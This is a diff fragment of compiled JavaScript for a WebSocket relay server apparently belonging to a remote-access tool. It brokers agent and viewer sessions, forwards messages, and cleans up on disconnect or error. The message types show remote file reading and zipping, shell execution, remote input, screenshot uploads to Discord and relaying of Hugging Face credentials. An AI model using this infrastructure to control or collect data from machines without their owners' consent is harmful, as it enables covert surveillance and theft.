+ }
2030
+ return;
2031
+ }
2032
+ if (msgType.startsWith("fs_")) {
2033
+ const rid = String(msg.request_id ?? "");
2034
+ try {
2035
+ ws.send(JSON.stringify({
2036
+ type: "fs_error",
2037
+ request_id: rid,
2038
+ ok: false,
2039
+ error: "No agent connected to this relay session. Start forge-agent with the same Session ID, or wait for it to reconnect.",
2040
+ }));
2041
+ }
2042
+ catch {
2043
+ /* skip */
2044
+ }
2045
+ return;
2046
+ }
2047
+ }
2048
+ if (role === "agent" && wsIsOpen(session.viewer)) {
2049
+ if (msgType === "discord_screenshot_upload" ||
2050
+ msgType === "relay_hf_credentials_request" ||
2051
+ msgType === "relay_discord_upload_ticket_request" ||
2052
+ msgType === "relay_discord_upload_ack") {
2053
+ /* handled above — never leak credentials / huge payloads to the viewer */
2054
+ }
2055
+ else {
2056
+ try {
2057
+ session.viewer.send(payload);
2058
+ }
2059
+ catch {
2060
+ /* skip */
2061
+ }
2062
+ }
2063
+ }
2064
+ else if (role === "viewer" && wsIsOpen(session.agent)) {
2065
+ try {
2066
+ session.agent.send(payload);
2067
+ }
2068
+ catch {
2069
+ /* skip */
2070
+ }
2071
+ }
2072
+ });
2073
+ ws.on("close", () => {
2074
+ if (pingTimer) {
2075
+ clearInterval(pingTimer);
2076
+ pingTimer = null;
2077
+ }
2078
+ if (role === "agent" && session.agent === ws) {
2079
+ if (relayWsConnectLoggingEnabled() && _shouldRelayLogAgentWsLifecycle(sessionId)) {
2080
+ console.log(`[relay] agent disconnected session=${sessionId}`);
2081
+ }
2082
+ session.agent = null;
2083
+ session.agentSlotVacatedAt = Date.now();
2084
+ scheduleAgentDisconnectNotifyToViewer(session);
2085
+ }
2086
+ else if (role === "viewer" && session.viewer === ws) {
2087
+ cancelAgentDisconnectNotifyToViewer(session);
2088
+ session.viewer = null;
2089
+ if (wsIsOpen(session.agent)) {
2090
+ try {
2091
+ session.agent.send(JSON.stringify({ type: "viewer_disconnected" }));
2092
+ }
2093
+ catch {
2094
+ /* skip */
2095
+ }
2096
+ }
2097
+ }
2098
+ if (!session.agent && !session.viewer) {
2099
+ removeSession(sessionId);
2100
+ }
2101
+ });
2102
+ /**
2103
+ * Per-socket error handler — required to prevent unhandled 'error' events from
2104
+ * crashing the relay process. The ws library emits `error` for protocol violations
2105
+ * such as WS_ERR_INVALID_UTF8 (status 1007) and WS_ERR_UNEXPECTED_RSV_1 (status 1002).
2106
+ * Node.js throws an unhandled exception when an EventEmitter has no 'error' listener,
2107
+ * which would restart the relay via PM2.
2108
+ * The socket is already closed by the ws library after emitting the error, so we just
2109
+ * clean up state exactly as the 'close' handler does.
2110
+ */
2111
+ ws.on("error", (err) => {
2112
+ const code = err.code ?? "";
2113
+ if (code === "WS_ERR_INVALID_UTF8" ||
2114
+ code === "WS_ERR_UNEXPECTED_RSV_1" ||
2115
+ code === "WS_ERR_UNEXPECTED_RSV_2" ||
2116
+ code === "WS_ERR_UNEXPECTED_RSV_3" ||
2117
+ /WS_ERR/.test(code)) {
2118
+ // Protocol-level error from a misbehaving client — not a relay bug; log to stdout.
2119
+ console.log(`[relay] WebSocket protocol error from ${role} session=${sessionId}: ${code}`);
2120
+ }
2121
+ else {
2122
+ // Unexpected socket error — log with more detail to stdout (not stderr).
2123
+ console.log(`[relay] WebSocket error from ${role} session=${sessionId}: ${err.message}`);
2124
+ }
2125
+ // Clean up session slots — mirroring the 'close' handler.
2126
+ if (pingTimer) {
2127
+ clearInterval(pingTimer);
2128
+ pingTimer = null;
2129
+ }
2130
+ if (role === "agent" && session.agent === ws) {
2131
+ session.agent = null;
2132
+ session.agentSlotVacatedAt = Date.now();
2133
+ scheduleAgentDisconnectNotifyToViewer(session);
2134
+ }
2135
+ else if (role === "viewer" && session.viewer === ws) {
2136
+ cancelAgentDisconnectNotifyToViewer(session);
2137
+ session.viewer = null;
2138
+ if (wsIsOpen(session.agent)) {
2139
+ try {
2140
+ session.agent.send(JSON.stringify({ type: "viewer_disconnected" }));
2141
+ }
2142
+ catch { /* skip */ }
2143
+ }
2144
+ }
2145
+ if (!session.agent && !session.viewer) {
2146
+ removeSession(sessionId);
2147
+ }
2148
+ });
2149
+ }
2150
+ function urlDisplayHost(bindHost) {
2151
+ const h = (bindHost || "").trim();
2152
+ if (h === "0.0.0.0" || h === "::" || !h)
2153
+ return "127.0.0.1";
2154
+ return h;
2155
+ }
2156
+ function startRelayServer(opts = {}) {
2157
+ const host = opts.host ?? "0.0.0.0";
2158
+ const port = opts.port ?? deploymentDefaults_1.RELAY_DEFAULT_PORT;
2159
+ const server = http.createServer(handleHttp);
2160
+ /**
2161
+ * Remote `/remote` + explorer latency defaults:
2162
+ * - **`perMessageDeflate: false`** — skips zlib CPU + extra buffering on large JSON/binary frames.
2163
+ * - **Large `maxPayload`** — avoids framing stalls for big explorer payloads / screenshot metadata.
2164
+ * - **TCP `setNoDelay(true)`** on upgrade + post-upgrade socket — small ICE / `rc_input` frames flush promptly (see `relayWsTcpNoDelay`).
2165
+ * - **Binary passthrough** — agent→viewer binary messages forward without JSON parse/stringify (chunked bodies stay efficient).
2166
+ * Prefer WebRTC `forge-bulk` end-to-end for screenshots when both sides support it (viewer falls back to relay WS for legacy agents).
2167
+ */
2168
+ const wss = new ws_1.WebSocketServer({
2169
+ noServer: true,
2170
+ /** Large `fs_read` / `fs_zip` base64 chunks + `fs_shell_exec_result` JSON must fit one frame. */
2171
+ maxPayload: 2 ** 27,
2172
+ /** Avoid zlib per-frame overhead on large JSON (explorer lists / chunked downloads). */
2173
+ perMessageDeflate: false,
2174
+ });
2175
+ server.on("upgrade", (request, socket, head) => {
2176
+ let pathname;
2177
+ try {
2178
+ pathname = requestUrl(request).pathname;
2179
+ }
2180
+ catch {
2181
+ socket.destroy();
2182
+ return;
2183
+ }
2184
+ const parts = pathname.split("/").filter(Boolean);
2185
+ if (parts.length < 3 || parts[0] !== "ws") {
2186
+ socket.write("HTTP/1.1 400 Bad Request\r\n\r\n");
2187
+ socket.destroy();
2188
+ return;
2189
+ }
2190
+ const role = parts[1];
2191
+ const rawSid = decodeURIComponent(parts[2] || "");
2192
+ const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
2193
+ if (role !== "agent" && role !== "viewer") {
2194
+ socket.write("HTTP/1.1 400 Bad Request\r\n\r\n");
2195
+ socket.destroy();
2196
+ return;
2197
+ }
2198
+ if (!(0, relayAuth_1.sessionIdIsValid)(sessionId)) {
2199
+ socket.write("HTTP/1.1 400 Bad Request\r\n\r\n");
2200
+ socket.destroy();
2201
+ return;
2202
+ }
2203
+ if (role === "viewer" &&
2204
+ (0, relayDashboardGate_1.isRelayDashboardGateEnabled)() &&
2205
+ !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(request)) {
2206
+ socket.write("HTTP/1.1 401 Unauthorized\r\nConnection: close\r\n\r\n");
2207
+ socket.destroy();
2208
+ return;
2209
+ }
2210
+ /** Low-latency from first byte — complements `relayWsTcpNoDelay` on the upgraded socket. */
2211
+ try {
2212
+ socket.setNoDelay(true);
2213
+ }
2214
+ catch {
2215
+ /* skip */
2216
+ }
2217
+ wss.handleUpgrade(request, socket, head, (ws) => {
2218
+ attachConnection(ws, request, role, sessionId);
2219
+ });
2220
+ });
2221
+ const staleMs = 300_000;
2222
+ const interval = setInterval(() => {
2223
+ const now = Date.now();
2224
+ for (const [sid, s] of sessions) {
2225
+ if (now - s.lastActivity > staleMs &&
2226
+ !wsIsOpen(s.agent) &&
2227
+ !wsIsOpen(s.viewer)) {
2228
+ sessions.delete(sid);
2229
+ }
2230
+ }
2231
+ }, 30_000);
2232
+ interval.unref?.();
2233
+ const agentStatusLogMs = 300_000;
2234
+ let agentStatusLogPass = 0;
2235
+ const agentStatusInterval = setInterval(() => {
2236
+ agentStatusLogPass++;
2237
+ const withAgent = [...sessions.values()].filter((s) => wsIsOpen(s.agent)).length;
2238
+ if (agentStatusLogPass === 1 || agentStatusLogPass % 4 === 0) {
2239
+ console.log(`[relay] connected agents: ${withAgent}`);
2240
+ }
2241
+ }, agentStatusLogMs);
2242
+ agentStatusInterval.unref?.();
2243
+ server.once("close", () => {
2244
+ clearInterval(interval);
2245
+ clearInterval(agentStatusInterval);
2246
+ try {
2247
+ wss.close();
2248
+ }
2249
+ catch {
2250
+ /* skip */
2251
+ }
2252
+ });
2253
+ (0, relayDashboardGate_1.warnInvalidDashboardGateEnvIfNeeded)();
2254
+ relayServerStartedAtMs = Date.now();
2255
+ server.listen(port, host, () => {
2256
+ const addr = server.address();
2257
+ const listenPort = typeof addr === "object" && addr && "port" in addr ? addr.port : port;
2258
+ const uh = urlDisplayHost(host);
2259
+ console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
2260
+ console.log(`[relay] v${relayPackageVersion()} (forge-jsxy upgrades are manual: file explorer → Upgrade forge-jsxy)`);
2261
+ console.log(` File explorer: http://${uh}:${listenPort}/`);
2262
+ console.log(` Same UI: /files /explorer /viewer /remote minimal relay page: /relay`);
2263
+ console.log(` WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);
2264
+ console.log(` ws://${uh}:${listenPort}/ws/viewer/<session_id>`);
2265
+ void (0, discordRelayUpload_1.warnDiscordRelayGuildIfMisconfigured)();
2266
+ });
2267
+ return server;
2268
+ }